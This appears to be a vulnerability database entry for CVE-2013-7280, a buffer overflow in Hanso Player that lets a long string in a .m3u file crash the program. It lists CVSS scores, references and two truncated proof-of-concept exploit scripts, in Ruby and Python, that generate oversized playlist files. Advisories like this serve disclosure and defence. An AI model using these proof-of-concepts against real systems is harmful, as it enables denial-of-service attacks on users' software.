Published: 08/01/2014 Updated: 31/12/2016

CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6

VMScore: 440

Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Buffer overflow in HansoTools Hanso Player 2.1.0, 2.5.0, and previous versions allows remote malicious users to cause a denial of service (crash) via a long string in a .m3u file.

Vulnerable Product	Search on Vulmon	Subscribe to Product
hansotools hanso player 2.1.0
hansotools hanso player

#!/usr/bin/env ruby # coding:UTF-8 # Exploit Title:Hanso Player 250 Buffer Overflow # Author:Necmettin COSKUN => twittercom/babayarisi # Vendor :wwwhansotoolscom # Software link:wwwhansotoolscom/downloads/hanso-player-setupexe # version: 250 # Tested on: windows XP sp2 DENEME = "\x41" * 240 Fileopen('hanzom3u', 'w') do |bofd ...

#!/usr/bin/python # Exploit Title:Buffer Overflow Vulnerability Hanso Player version 210 # Download link :wwwhansotoolscom/downloads/hanso-player-setupexe # Author: metacom # RST # version: 210 # Category: poc # Tested on: windows 7 German f=open("fuzzzzzm3u","w") print "Creating expoit" junk="\x41" * 5000 try: fwrite(junk) ...

CWE-119 http://www.exploit-db.com/exploits/24556 http://www.exploit-db.com/exploits/29445 http://packetstormsecurity.com/files/120611/Hanso-Player-2.1.0-Buffer-Overflow.html http://osvdb.org/show/osvdb/90816 http://www.securityfocus.com/bid/58251 https://nvd.nist.gov https://www.exploit-db.com/exploits/29445/

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2013-7280

Vulnerability Summary

Vulnerability Trend

Exploits

References

Vulmon Search

About

Products

Connect